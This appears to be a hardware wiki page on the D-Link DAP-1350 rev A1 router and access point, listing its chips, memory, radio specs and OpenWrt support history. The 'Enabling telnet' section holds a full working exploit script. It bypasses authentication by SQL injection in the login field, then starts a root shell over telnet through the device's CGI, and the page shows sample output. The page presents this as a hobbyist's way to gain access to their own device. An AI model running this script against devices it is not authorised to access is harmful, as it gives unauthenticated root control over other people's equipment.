Database changes have finished applying - please report any issues you're (still) seeing to support@shoutwiki.com.
D-Link DAP-1350 rev A1
bgn (N300) | |||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Wireless N Pocket Router & Access Point | |||||||||||||
![]() | |||||||||||||
Homepage | Product page | ||||||||||||
Wikipedia | D-Link | ||||||||||||
InfoDepot Wiki | D-Link DAP-1350 | ||||||||||||
3rd Party Firmware | |||||||||||||
dd-wrt | Status Unknown | ||||||||||||
OpenWrt | Was Supported | ||||||||||||
Tomato any flavor | Incompatible | ||||||||||||
Gargoyle | Status Unknown | ||||||||||||
Platform | |||||||||||||
Brand • Model • Rev | D-Link DAP-1350 A1 | ||||||||||||
FCC ID | KA2AP1350A1 | ||||||||||||
IC ID | 4216A-AP1350 | ||||||||||||
Type | wireless router, access point | ||||||||||||
CPU1 ![]() | Ralink RT3052 | ||||||||||||
CPU1 Type | MIPS 24KEc | ||||||||||||
CPU1 Speed | 384 MHz | ||||||||||||
Flash1 Chip | Macronix MX29LV640EBTI-70G | ||||||||||||
Flash1 Size | 8 MiB8,388,608 B <br />65,536 Kib <br />8,192 KiB <br />64 Mib <br />0.00781 GiB <br /> | ||||||||||||
RAM1 Size | 32 MiB33,554,432 B <br />262,144 Kib <br />32,768 KiB <br />256 Mib <br />0.0313 GiB <br /> | ||||||||||||
RAM1 Chip | ESMT M12L128168A-7T x 2 | ||||||||||||
ETH chip1 | Ralink RT3052 | ||||||||||||
Ethernet Port Count | 1-100MbE-LAN | ||||||||||||
Wired Standard | IEEE 802.3i/3u | ||||||||||||
Stock bootloader | U-Boot | ||||||||||||
Stock FW OS | Linux | ||||||||||||
Expansion IF types | USB 2.0 | ||||||||||||
USB ports | 1 | ||||||||||||
USB Hub Compatible | Untested | ||||||||||||
Power | 5 VDC, 2.5 A | ||||||||||||
Connector type | barrel | ||||||||||||
Serial Port (UART) | yes | ||||||||||||
Other | |||||||||||||
Default SSID: dlink (38 addl. devices) | |||||||||||||
Manuf/OEM/ODM | Cameo | ||||||||||||
3rd Party Firmware Support |
OpenWrt (Was) | ||||||||||||
Retail | |||||||||||||
Availability | End of Life | ||||||||||||
FCC approval date | 15 September 2009 | ||||||||||||
ASIN |
B003Q9AZHU ![]() | ||||||||||||
Country of manuf | China | ||||||||||||
Physical | |||||||||||||
LEDs/Color | Blue/Red | ||||||||||||
Radio 1 | |||||||||||||
Chip1 | Ralink RT3052 | ||||||||||||
Wireless interface OUI | 00:18:E7 | ||||||||||||
Antenna Connector Type | Internal | ||||||||||||
MIMO status | 2x2:2 | ||||||||||||
Wireless Standard | IEEE 802.11b/g/n | ||||||||||||
802.11n | up to 300 Mbps | ||||||||||||
802.11g | up to 54 Mbps | ||||||||||||
802.11b | up to 11 Mbps | ||||||||||||
WiFi Operating Frequency | 2.4 GHz | ||||||||||||
|
For a list of all currently documented Ralink chipsets with specifications, see Ralink.
For a list of all currently documented D-Link devices with specifications, see D-Link.
- • 300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class
Overview
Links of Interest
Forum threads
- OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.
- You can build your own firmware now or wait for the Attitude Adjustment release.
Flashing
![]() | NOTE: During configuration or flashing a device, the only things that should be hooked to the device is the computer and power. |
Flashing OpenWrt
![]() | This device is NO LONGER SUPPORTED OR POSSIBLE for future use with OpenWrt. |
On the OpenWrt Wiki
On the OpenWrt Forum
OpenWrt Target: ramips
OpenWrt Subtarget: rt305x
OpenWrt Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: EOL
Last Supported Version: 22.03.7
Comment:
Final version: 22.03.7
Please insert instructions here
JTAG-Serial Info
Serial
Enabling telnet
A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.
A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.
telnet • >> |
---|
#!/bin/ksh # DAP-1350 telnetd, by brynet. # This effect all stock firmware images for the device. # Tested on OpenBSD. host=$1 if [ $# -ne 1 ]; then echo "usage: $0 host or ip" exit 1; fi base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\ "Host: ${host}\r\nConnection: keep-alive\r\n"\ "Content-Type: application/x-www-form-urlencoded\r\n" # user_name=admin # user_pwd=';select 1;-- login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ" login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n" login_req="${base_req}${login_clen}${login_cmd}" echo $login_req | nc $host 80 | grep default > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Authenticated." else echo "Failed." exit 1; fi telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh" telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n" telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}" echo $telnetd_req | nc $host 80 > /dev/null 2>&1 sleep 2; nc -z $host 23 > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Root shell, okey doke." telnet $host else echo "No root.. sorry, heh." exit 1; fi Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary. $ ./exploit.sh dlinkap # 192.168.0.50 Authenticated. Root shell, okey doke. Trying 192.168.0.50... Connected to dlinkap. Escape character is '^]'. ... motd/etc. # The factory set root password is unknown, so no login(1) process is started. You must run the exploit script each time the device is powered on. |
Pictures
- D-Link
- Embedded system/wireless router
- Embedded system/access point
- Embedded System Ralink
- Embedded System RT3052
- Ralink
- Embedded System MIPS 24KEc
- Embedded System
- Manuf Cameo
- OpenWrt Was Supported
- Has Mimo Status
- Embedded System IEEE 802.11b/g/n
- Single-Radio Wireless Embedded System
- Wireless Embedded System
- Single-Band
- English Documentation